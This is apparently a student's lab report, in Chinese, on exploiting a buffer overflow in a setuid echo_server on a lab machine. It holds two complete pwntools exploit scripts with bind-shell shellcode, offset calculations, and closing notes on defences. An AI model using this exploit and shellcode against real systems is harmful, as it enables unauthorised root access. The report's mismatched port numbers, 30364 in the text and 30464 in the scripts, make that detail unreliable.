【实验目的】
- 本实验所用虚拟机上有一个具有缓冲区溢出漏洞的可执行程序echo_server,具有’s’属性。
- 要求在linux上编程,并利用相关调试工具,编写出一个利用该缓冲区漏洞的软件(远程),获得带有root权限的shell。要求在获得shell后证明已经是root权限。
- 鼓励实现自动化的exploit工具。实现全自动工具可得40分;实现半自动工具(采用手动方式串接其他工具/命令)得30分。
【实验步骤】
一、基础题
1、打开IDA对程序进行反编译,可以看到main
函数调用了echo_server()
函数:
echo_server()
函数建立了socket连接,在5050端口进行监听。该函数的作用是回显远程输入的字符串,以及buffer地址信息,只有远程输入end才会退出子程序。可以根据这一特点,先产生溢出覆盖return address,等到end要退出时就可以跳转到我们构造的地址。
所以send_buf
是要溢出的数组,在ida中看到虽然申请的是200bytes,实际上分配了ebp-0xD4
,即212bytes。
212bytes中有32bytes是"We send back the client input: "
,此外还需要把old ebp的4bytes覆盖掉,所以一共需要输入212-32+4=184bytes才能到return address。
由于echo_server会显示send_buf的地址是0xffffd1b4
(也没有开地址随机),通过计算可以算出要填充的shellcode的地址是:0xffffd1b4+212+4+4=0xffffd290
。
所以栈的结构如图所示:
用pwntools写exp脚本,这里直接填了47个shellcode的起始地址,相当于填充了188bytes直接覆盖了return address。shellcode用的是ppt上绑定30364端口的shellcode,所以在最后还要再连接这个端口。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = remote("192.168.112.139", "5050")
shellcode = b"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"
p.sendline((p32(0xffffD290))*47+shellcode)
p.recv()
p.recv()
p = remote("192.168.112.139", "5050")
p.sendline(b"end")
p.recv()
p = remote("192.168.112.139", "30464")
p.interactive()
运行截图:
二、加分项:coredump
1、发送200*a,会显示segmentation fault(core dumped),用gdb查看,发现eip指向0x61616161,说明return address被输入的a覆盖。
2、再尝试发送180*a,此时eip指向0x00000000,说明这时并没有被填充的’a’覆盖到:
3、用二分法继续尝试发送190*a,eip指向0x61616161。再尝试发送185*a,发现eip指向0x08000a61,说明return address的最低一个字节被a填充了,所以只需要填充184个字节,再填4Bytes就可以覆盖return address。
再查看寄存器,看到栈顶指针esp指向0xffffd290
:
用x/64wx 0xffffd200
取出栈上的部分内容,找到了填充起始的位置和ret addr的地址0xffffd28c
。0xffffd290
就是填充的shellcode开始的位置。
4、构造脚本:184*a+0xffffd290+shellcode
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = remote("192.168.112.139", "5050")
shellcode = b"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"
p.sendline(b"a"*184+p32(0xffffd290)+shellcode)
p.recv()
p.recv()
p = remote("192.168.112.139", "5050")
p.sendline(b"end")
p.recv()
p = remote("192.168.112.139", "30464")
p.interactive()
成功运行,获取root权限的shell:
三、一些思考
防范这类远程栈溢出应该防止远程用户控制服务端的send_buf,如果需要回显,可以通过strncpy这类限制长度的函数将recv_buf的内容复制到send_buf,避免栈溢出,而不是不限制长度。
此外还可以设置地址随机,栈不可执行和canary之类的手段避免栈溢出攻击。